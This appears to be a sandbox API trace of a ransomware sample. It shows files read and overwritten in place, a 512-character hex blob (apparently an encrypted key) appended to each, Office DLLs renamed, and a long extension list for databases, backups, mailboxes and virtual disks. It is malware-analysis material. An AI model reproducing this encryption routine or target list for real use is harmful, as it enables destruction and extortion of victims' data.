	[0146.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0146.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0146.382] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26637184108) returned 1
	[0146.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc0a6e090, dwHighDateTime=0x1d60e1e)) 
	[0146.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0146.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0146.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0146.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac510
	[0146.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac510 | out: hHeap=0x300000) returned 1
	[0146.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0146.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7388
	[0146.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.382] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0146.383] GetLastError () returned 0x0
	[0146.383] GetLastError () returned 0x0
	[0146.383] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0146.383] GetLastError () returned 0x0
	[0146.383] GetLastError () returned 0x0
	[0146.383] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.388] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.388] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.389] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.389] WriteFile (in: hFile=0x10c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.389] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.389] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.389] CloseHandle (hObject=0x10c) returned 1
	[0146.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7388
	[0146.389] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.~~~~")) returned 1
	[0146.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c7388 | out: hHeap=0x300000) returned 1
	[0146.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0146.392] GetLastError () returned 0x0
	[0146.392] RtlWakeConditionVariable () returned 0x0
	[0146.392] GetCurrentThreadId () returned 0x9f4
	[0146.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0146.392] lstrlenW (lpString=".cmd") returned 4
	[0146.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0146.392] lstrlenW (lpString=".dll") returned 4
	[0146.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0146.392] lstrlenW (lpString=".bat") returned 4
	[0146.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0146.392] lstrlenW (lpString=".cpl") returned 4
	[0146.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0146.392] lstrlenW (lpString=".sys") returned 4
	[0146.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0146.392] lstrlenW (lpString=".msc") returned 4
	[0146.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0146.392] lstrlenW (lpString=".com") returned 4
	[0146.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0146.392] lstrlenW (lpString=".lnk") returned 4
	[0146.392] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0146.392] lstrlenW (lpString=".msp") returned 4
	[0146.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0146.393] lstrlenW (lpString=".pif") returned 4
	[0146.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0146.393] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.393] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0146.394] lstrlenW (lpString=".sqb") returned 4
	[0146.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0146.394] lstrlenW (lpString=".ost") returned 4
	[0146.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0146.394] lstrlenW (lpString=".txt") returned 4
	[0146.394] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0146.394] lstrlenW (lpString=".mdt") returned 4
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0146.395] lstrlenW (lpString=".BDB") returned 4
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0146.395] lstrlenW (lpString=".eql") returned 4
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0146.395] lstrlenW (lpString=".DBF") returned 4
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0146.395] lstrlenW (lpString=".EQL") returned 4
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0146.395] lstrlenW (lpString=".FDB") returned 4
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0146.395] lstrlenW (lpString=".EDB") returned 4
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0146.395] lstrlenW (lpString=".DACPAC") returned 7
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0146.395] lstrlenW (lpString=".VHD") returned 4
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0146.395] lstrlenW (lpString=".DBV") returned 4
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0146.395] lstrlenW (lpString=".dacpac") returned 7
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0146.395] lstrlenW (lpString=".sdf") returned 4
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0146.395] lstrlenW (lpString=".accdb") returned 6
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0146.395] lstrlenW (lpString=".DBX") returned 4
	[0146.395] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0146.396] lstrlenW (lpString=".MDT") returned 4
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0146.396] lstrlenW (lpString=".SQB") returned 4
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0146.396] lstrlenW (lpString=".vhd") returned 4
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0146.396] lstrlenW (lpString=".bac") returned 4
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0146.396] lstrlenW (lpString=".mdf") returned 4
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0146.396] lstrlenW (lpString=".BAK") returned 4
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0146.396] lstrlenW (lpString=".BAC") returned 4
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0146.396] lstrlenW (lpString=".dbs") returned 4
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0146.396] lstrlenW (lpString=".vhdx") returned 5
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0146.396] lstrlenW (lpString=".NDF") returned 4
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0146.396] lstrlenW (lpString=".dat") returned 4
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0146.396] lstrlenW (lpString=".DBS") returned 4
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0146.396] lstrlenW (lpString=".CKP") returned 4
	[0146.396] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0146.396] lstrlenW (lpString=".edb") returned 4
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0146.397] lstrlenW (lpString=".PST") returned 4
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0146.397] lstrlenW (lpString=".dbf") returned 4
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0146.397] lstrlenW (lpString=".SQL") returned 4
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0146.397] lstrlenW (lpString=".pst") returned 4
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0146.397] lstrlenW (lpString=".dbv") returned 4
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0146.397] lstrlenW (lpString=".SDF") returned 4
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0146.397] lstrlenW (lpString=".dtxs") returned 5
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0146.397] lstrlenW (lpString=".db3") returned 4
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0146.397] lstrlenW (lpString=".OST") returned 4
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0146.397] lstrlenW (lpString=".dbx") returned 4
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0146.397] lstrlenW (lpString=".DB3") returned 4
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0146.397] lstrlenW (lpString=".DAT") returned 4
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0146.397] lstrlenW (lpString=".VHDX") returned 5
	[0146.397] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0146.398] lstrlenW (lpString=".ndf") returned 4
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0146.398] lstrlenW (lpString=".DB") returned 3
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0146.398] lstrlenW (lpString=".sql") returned 4
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0146.398] lstrlenW (lpString=".MYD") returned 4
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0146.398] lstrlenW (lpString=".DBT") returned 4
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0146.398] lstrlenW (lpString=".ACCDB") returned 6
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0146.398] lstrlenW (lpString=".fdb") returned 4
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0146.398] lstrlenW (lpString=".bak") returned 4
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0146.398] lstrlenW (lpString=".myd") returned 4
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0146.398] lstrlenW (lpString=".DTXS") returned 5
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0146.398] lstrlenW (lpString=".ckp") returned 4
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0146.398] lstrlenW (lpString=".dbt") returned 4
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0146.398] lstrlenW (lpString=".db") returned 3
	[0146.398] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0146.399] lstrlenW (lpString=".TXT") returned 4
	[0146.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0146.690] lstrlenW (lpString=".MDF") returned 4
	[0146.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0146.690] lstrlenW (lpString=".bdb") returned 4
	[0146.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0146.690] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0146.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0146.691] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3960d0) returned 1
	[0146.694] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0146.694] CryptReleaseContext (hProv=0x3960d0, dwFlags=0x0) returned 1
	[0146.694] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0146.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0146.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0146.694] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26668442966) returned 1
	[0146.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc0d67c10, dwHighDateTime=0x1d60e1e)) 
	[0146.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0146.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0146.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0146.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bee8
	[0146.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bee8 | out: hHeap=0x300000) returned 1
	[0146.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0600
	[0146.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870268
	[0146.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0600 | out: hHeap=0x300000) returned 1
	[0146.695] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0146.696] GetLastError () returned 0x0
	[0146.696] GetLastError () returned 0x0
	[0146.696] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0146.696] GetLastError () returned 0x0
	[0146.696] GetLastError () returned 0x0
	[0146.696] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x3180, lpOverlapped=0x0) returned 1
	[0146.698] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffce80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.699] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x3180, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x3180, lpOverlapped=0x0) returned 1
	[0146.699] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.699] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.699] WriteFile (in: hFile=0x10c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.699] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.699] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.699] CloseHandle (hObject=0x10c) returned 1
	[0146.699] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0600
